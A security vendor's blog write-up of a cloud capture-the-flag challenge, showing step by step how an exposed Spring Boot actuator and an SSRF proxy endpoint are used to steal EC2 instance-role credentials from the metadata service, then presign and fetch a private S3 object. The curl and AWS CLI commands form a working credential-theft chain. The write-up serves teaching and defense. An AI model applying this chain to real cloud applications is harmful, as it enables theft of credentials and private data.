Tamnoon’s security engineer breaks down AWS IMDS risks revealed in the Wiz Cloud Security Challenge.

Ready for another Wiz Cloud Security Championship challenge? This time, we’re shifting focus from identity to infrastructure.
In “Solving Perimeter Leak,” the battleground isn’t Entra ID or consent flows. Instead, it’s the cloud perimeter itself. The scenario drops us into an AWS environment with one goal: extract the flag from an S3 bucket locked down by a data perimeter.
AWS data perimeters are a strong mitigation, but complexity can introduce gaps. Here, the gap is the instance metadata service: with the right calls, you can turn metadata into temporary IAM credentials and then into a pre-signed S3 URL.
This challenge, created by Scott Piper, demonstrates how failing to enforce IMDSv2 can undo perimeter protections and why hardening metadata access should be standard practice. It mirrors a risk we’ve seen in real customer environments, and in the steps ahead, we’ll retrace the attacker’s path to show exactly how the flag was captured.
For more on IMDSv2 hardening, see our blog Severity Matters: Switching from IMDSv1 to v2.
The first thing we do is ask the app what it’s willing to tell us. The challenge gives us a basic-auth endpoint that exposes Spring Boot actuator links and runtime environment variables, and those variables include the clues we need (bucket name, invocation ID, PID, and Spring runtime settings).
curl -s -u ctf:88sPVWyC2P3p https://challenge01.cloud-champions.com/actuator \
| jq -r '._links | keys[]'
This command lists all available actuator endpoints. Seeing
/actuator/env
here confirms we can dig deeper into the app’s runtime configuration, which is where sensitive details like the bucket name and invocation ID are exposed.
With
/actuator/env
confirmed as open, the next step is to extract only the relevant values. These commands filter the environment details to reveal the S3 bucket name, the process ID, the invocation ID, and how the Spring application is running.
This information anchors the rest of the attack, giving us the target bucket and context about the instance we’re on.
curl -s -u ctf:88sPVWyC2P3p https://challenge01.cloud-champions.com/actuator/env \
| grep -iE '"(bucket|PID|invocationId|spring\.application\.name|spring\.profiles\.active|spring\.main\.web-application-type)"'
#Lets filter what we want
curl -s -u ctf:88sPVWyC2P3p https://challenge01.cloud-champions.com/actuator/env \
| jq -r '.propertySources[].properties | to_entries[] | select(.key|test("bucket|PID|invocationId|spring.application.name|spring.profiles.active|spring.main.web-application-type"; "i")) | "\(.key)=\(.value.value)"'
The filtered output confirms we’ve struck gold. The app is leaking:
challenge01-470f711) where the flag will be stored.These values don’t give us the flag yet, but they give us everything we need to pivot. The bucket name points to our eventual target, and the process IDs confirm we can move toward the EC2 instance metadata service (IMDS) to steal temporary AWS credentials.
The instance metadata service (IMDS) holds useful runtime details and, critically, temporary IAM credentials for the instance role.
IMDSv2 hardens that interface by requiring a PUT request to create a short-lived token, and then that token must be presented on subsequent metadata requests. That extra step prevents simple GET-only SSRF calls from pulling credentials.
Metadata reveals key information about the EC2 instance
This includes instance ID, region, and network details to help you understand the environment you’re in. Running configurations like user data scripts may contain clues or secrets left behind by developers. This context often tells you where you are inside the cloud environment.
We can’t call
169.254.169.254
directly from our machine, so we use the app’s proxy endpoint to reach the Instance Metadata Service (IMDS). IMDSv2 requires a short-lived token: you obtain the token with a PUT and then include it in the
X-aws-ec2-metadata-token
header on subsequent requests. The commands below request that token through the proxy, then list the top-level metadata keys.
#Get the IMDSv2 Token
ENC_TOKEN_URL="http%3A%2F%2F169.254.169.254%2Flatest%2Fapi%2Ftoken"
TOKEN=$(curl -sS -X PUT \
"https://ctf:[email protected]/proxy?url=$ENC_TOKEN_URL" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
--data-raw "")
echo "$TOKEN" # should be a long base64-ish string
#List the metadata with token
BASE="http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F"
curl -sS "https://ctf:[email protected]/proxy?url=$BASE" \
-H "X-aws-ec2-metadata-token: $TOKEN"
The echo "$TOKEN" output shows a valid IMDSv2 token (a long base64-like string). With that token presented in the X-aws-ec2-metadata-token header, the metadata call returned a list of top-level keys for the instance. Important entries to notice here:
iam / identity-credentials / iam/security-credentials/: this is the path that leads to the instance role name and the temporary IAM credentials you can use.instance-id, placement, mac, local-ipv4: helpful environment clues that confirm we’re running on a real EC2 instance in a specific region/placement.public-keys, hostname, profile: additional context about how the instance was launched and configured.the metadata list proves two things:
With the top-level metadata confirmed, the next move is to dive into the iam/security-credentials/ path. This is where IMDS exposes the instance’s IAM role and the temporary AWS credentials tied to it.
curl call prints the role name attached to the EC2 instance.AccessKeyId, SecretAccessKey, and Token. These values are short-lived but fully valid, giving us the same level of access the instance itself has.echo statements simply confirm the role name and pretty-print the credentials with jq.With this output, we’re looking for a role name string (e.g., challenge-role or similar) or a JSON block with keys like AccessKeyId, SecretAccessKey, and Token.
The role and its credentials are the real prize from IMDS. With them exported into environment variables, you can authenticate as the instance role and interact with AWS resources directly, including the target S3 bucket.
ROLE=$(curl -sS "https://ctf:[email protected]/proxy?url=${BASE}iam%2Fsecurity-credentials%2F" \
-H "X-aws-ec2-metadata-token: $TOKEN")
CREDS=$(curl -sS "https://ctf:[email protected]/proxy?url=${BASE}iam%2Fsecurity-credentials%2F${ROLE}" \
-H "X-aws-ec2-metadata-token: $TOKEN")
echo "Role is: $ROLE"
echo "$CREDS" | jq.
The output confirms we’ve successfully pulled the IAM role credentials from IMDS:
challenge01-5503268, identifying the EC2 instance’s attached role.AccessKeyId, SecretAccessKey, and Token. These three values are the temporary session credentials that let us authenticate to AWS APIs with the same permissions as the instance.This is the moment the perimeter starts to crack. We now hold real AWS credentials scoped to the instance’s role. From here, we can export them into environment variables and use the AWS CLI to interact with the target S3 bucket, the final path toward retrieving the flag.
We take the temporary credentials we pulled from IMDS and export them into environment variables so the AWS CLI and SDKs use them for subsequent requests. Each
export
extracts a field from the JSON blob and sets the corresponding environment variable:
With the role credentials exported, we can now interact with the target bucket directly. The
aws s3 ls
command lists the objects inside the bucket we discovered earlier from the
/actuator/env
output:
aws s3 ls s3://challenge01-470f711
This confirms that our temporary credentials are valid and scoped to S3. The listing should show at least two objects: one marked public and one private.
The public object is accessible immediately, but it doesn’t contain the flag. The private file is the real target, and we’ll need to generate a pre-signed URL to get to it.
Once we had the temporary IAM credentials from the EC2 metadata service, we could interact with S3 directly using the AWS CLI. But rather than pulling the private file straight from the CLI, it’s often better to generate a pre-signed URL. Here’s why:
Now that we’re authenticated as the instance role, we can create a pre-signed URL that grants short-lived HTTP access to the private object. This
aws s3 presign
call does not change the object or the bucket. It simply signs a URL that anyone can use as long as the URL is valid.
PRESIGNED_URL=$(aws s3 presign s3://challenge01-470f711/private/flag.txt --region us-east-1 --expires-in 60)
# verify it looks sane:
echo "$PRESIGNED_URL"
Tip: If 60 seconds isn’t enough time, your presigned url can be made valid for up to 7 days (604,800 seconds).
Now we use the application’s proxy to fetch the pre-signed URL. The proxy lets us make outbound HTTP requests from the instance’s network context, so passing the pre-signed link through it returns the private object’s contents.
curl -s -u ctf:88sPVWyC2P3p \
--get --data-urlencode "url=$PRESIGNED_URL" \
"https://challenge01.cloud-champions.com/proxy"
The command prints the pre-signed S3 URL and then asks the app proxy to fetch it.
The proxy response is the file contents, in this case, the flag: WIZ_CTF_Presigned_Urls_Are_Everywhere.
That final curl is proof that the chain worked: presigned URL created, routed through the proxy, and the private object was retrieved.
This challenge made one thing clear: strong defenses like AWS data perimeters can crumble if supporting controls are misconfigured. A single overlooked detail, in this case, failing to enforce IMDSv2, opened the door from harmless metadata to full S3 exfiltration.
At Tamnoon, we’ve seen this exact risk play out in customer environments. Our team has helped organizations roll out IMDSv2 across entire fleets, tighten IAM roles, and secure pathways that attackers could exploit. These are the real-world gaps we close every day.
Interested in learning more about how we can help? Book a demo and we’ll show you what partnering with Tamnoon looks like.
Don’t settle for noise disguised as protection. See how Tamnoon turns alerts into action and exposure into resilience.
There’s always more to learn, see our resources center